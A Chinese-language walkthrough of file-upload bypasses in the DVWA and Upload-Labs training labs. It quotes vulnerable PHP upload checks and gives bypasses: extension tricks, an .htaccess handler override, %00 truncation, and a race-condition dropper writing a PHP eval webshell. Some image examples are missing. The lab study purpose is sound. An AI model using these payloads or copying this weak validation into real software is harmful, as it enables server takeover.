文件上传:DVWA和Upload_Labs
DVWA_Upload
low_level
直接上传php木马。
medium_level
修改Content-Type: image/png
high_level
看源码分析
//截取文件扩展名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
//检验文件合法性
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) )
截取文件扩展名
和白名单过滤
的组合拳,只能上传有合法图片扩展名的文件。
getimagesize( $uploaded_tmp )
检验文件的前两个字节的内容来分辨文件是否为图片文件。
只能上传图片马,配合文件包含漏洞getshell。
图片马的制作:
burp suite抓包修改文件头部:
cmd手动制作图片马:
Upload_Labs 总结
pass01:js 绕过
方法:(1)抓包修改;(2)修改 js 代码
pass02:content-type
方法:抓包修改 content-type 的值为 image/png、image/jpeg、image/gif
pass03:黑名单不全
方法:可以上传文件扩展名为 .phtml .php3 等的文件,此类文件依旧可以被服务器解析成为 php 文件。
pass04:忽略了.htaccess配置文件的上传问题。
方法:上传.htaccess配置文件,修改同一目录下的文件解析配置。使apache访问与其同一目录下的图片类文件时将图片类文件也解析成 php 文件。
.htaccess
Addtype application/x-httpd-php .jpg .png .gif
pass05:大小写绕过
方法:通过修改文件扩展名的大小写绕过后端验证。
pass06:黑名单过滤和空格绕过
漏洞代码:
$file_name = $_FILES['upload_file']['name'];
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_ext = strrchr($file_name, '.');
if (!in_array($file_ext, $deny_ext)){}
没有对文件名进行去空字符操作,strrchr函数获取文件扩展名。然后黑名单过滤。
方法:在文件的扩展名后面再加一个空格,可以绕过黑名单过滤。不过此方法只适用于windows系统的服务器,因为windows系统在保存文件时会自动的把扩展名后面的空格删去,而linux不会如此,linux会把空格保存下来。
pass07:黑名单过滤和点绕过
漏洞代码:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_ext = strrchr($file_name, '.');
if (!in_array($file_ext, $deny_ext))
没有对文件名进行去点字符操作,strrchr函数获取文件扩展名。然后黑名单过滤。
方法:在文件扩展名后面加点字符,绕过黑名单检验。
buuoj平台上的linux系统可以解析.php.
的文件为php文件
自己搭建的windows的平台在保存 .php.
的文件时,将 .php.
最后的 .
给去除了,以 .php
的格式保存。
访问的时候既可以以 .php.
的扩展名访问,也可以以.php
的扩展名访问。
这里留一个坑~上面本地测试我用的php版本是5.2.17的,现在换成新的7x的版本就不行了。根据报错的信息是 提示:上传出错!
猜测是新版本的move_uploaded_file()
函数的变化~
pass08:windows特性 ::$DATA
文件流
php在window的时候如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名.且保持 ::$DATA
之前的文件名。
方法:在文件扩展名后加上 ::$DATA
。
pass09:逻辑漏洞
没有对要保存在本地的文件进行重命名。可以构建zjh.php. .
来绕过检测,文件经过处理后会以zjh.php.
的文件名保存在本地。
pass10:文件后缀名的双写构造
$file_name = str_ireplace($deny_ext,"", $file_name);
将黑名单内的字符串替换为空字符。但是没有重复检验。上传的文件名如果为zjh.pphphp
,经过一次替换后就变成了zjh.php
。
pass11-12:%00截断
触发漏洞的条件:
php版本低于5.3.4
php配置文件的转义magic_quote_gpc为off(默认为on)
上传的文件名和路径均前端可控
上传的文件名和路径进行拼接
漏洞代码:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
文件保存的路径可以通过上传变量来修改~然后用%00截断来断开后面对文件名的重命名。
方法:通过$_GET['save_path']
变量上传一个自己构建目标文件
11和12的差别就是GET和POST
pass13-15:读取文件头两字节识别文件类型
漏洞代码:
pass13:
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
pass14:
$types = '.jpeg|.png|.gif';
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
pass15:
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
直接上传图片马都可以绕过,然后配合文件包含漏洞getshell
pass16:图片的重新渲染绕过
渲染函数:
$im = imagecreatefromjpeg($target_path);
$im = imagecreatefrompng($target_path);
$im = imagecreatefromgif($target_path);
前后对比图片分别经过这三个函数渲染后的差异。
jpeg:
png:
gif:
只有gif格式的图片马把木马代码保存了下来。所以利用gif图片容易绕过点。
pass17-18:条件竞争
漏洞代码:
$ext_arr = array('jpg','png','gif');
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
读代码:上传的文件先用原来的文件名保存在服务器,然后对文件扩展名进行白名单检验,如果扩展名合法就再改文件名。反之unlink
删除文件。
攻击:上传一个php文件,其功能是创建一个php木马文件。攻击者重复上传、重复访问这个php文件,如果能赶在文件被删除前成功访问,服务器就会解析这个php文件,然后写入一个php木马。
攻击代码:
<?php
$a = '<?php @eval($_POST[\'zjh\']);?>';
file_put_contents('zjh.php',$a);
?>
pass19:move_uploaded_file()递归删除/.
绕过后缀名检测。
参考了链接:move_uploaded_file和file_put_content都会递归删除文件名最后的/.导致绕过了后缀名检测。
其实这里也可以利用windows的特性上传的文件扩展名为.php./
的文件,既可以绕过黑名单也可以成功的以.php
的扩展名保存在windows服务器端。
pass20:数组绕过
检验了content-type类型
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
判断save_name
参数是否为空,为空就把文件本来名称赋值给$file
,否则就是将save_name
参数的值赋给它。紧接着判断$file是否是数组
。
如果不是数组则将其拆成数组,然后数组最后一个的值(end函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了。
$file_name = reset($file) . '.' . $file[count($file) - 1];
上传后就对文件名做了重新的拼接,由取的是数组的第一个元素接上 .
符号,然后和 $file[count($file) - 1]
取的元素进行文件名拼接。
解法:
先修改Content-type头
传入两个数组元素save_name[0]
和save_name[2]
,让save_name[1]
为空,count()函数
计算数组个数时不会把空的元素算上。所以$file[count($file) - 1]
的值为空
。
最后重新构建的文件名为 zjh/.
,move_uploaded_file()
函数会忽略掉文件末尾的 /.
,最终会以 zjh.php
的文件名保存在服务器中。
可以试试对比测试:
由上面的代码可以知道,第二张图count()
没有把空的$a[1]
算上。
总结
20关做下来最大的感触就是最好还是不要用
黑名单
来检测敏感文件一来太麻烦,二来容易出问题。 服务器版本
最好用最新的,老的版本有很多的问题漏洞如:%00截断。
还有就是逻辑思维这个考验脑洞的东西真的是搞不来~~